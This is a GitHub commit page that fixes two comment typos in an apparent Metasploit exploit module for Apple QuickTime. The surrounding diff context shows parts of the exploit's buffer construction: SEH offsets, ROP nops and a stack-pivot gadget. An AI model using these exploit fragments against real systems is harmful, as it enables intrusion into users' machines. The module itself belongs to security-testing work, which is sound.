Skip to content

Commit 6713fb1

Browse files
committed
Fix typos
1 parent 9ae7c80 commit 6713fb1

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/windows/browser/apple_quicktime_rdrf.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -164,7 +164,7 @@ def rop_nop(t)
164164

165165
def exploit
166166
buf = ''
167-
buf << rand_text_alpha(467) # 467 to algin the pivot
167+
buf << rand_text_alpha(467) # 467 to align the pivot
168168
10.times {
169169
buf << rop_nop(target)
170170
}
@@ -174,7 +174,7 @@ def exploit
174174
].pack('V*')
175175
buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
176176
buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot
177-
buf << rand_text_alpha(658 - buf.length) # 658 bytes to padd up the mov file size
177+
buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size
178178

179179
# Quicktime File Format Specifications:
180180
# https://developer.apple.com/standards/qtff-2001.pdf

0 commit comments

Comments
 (0)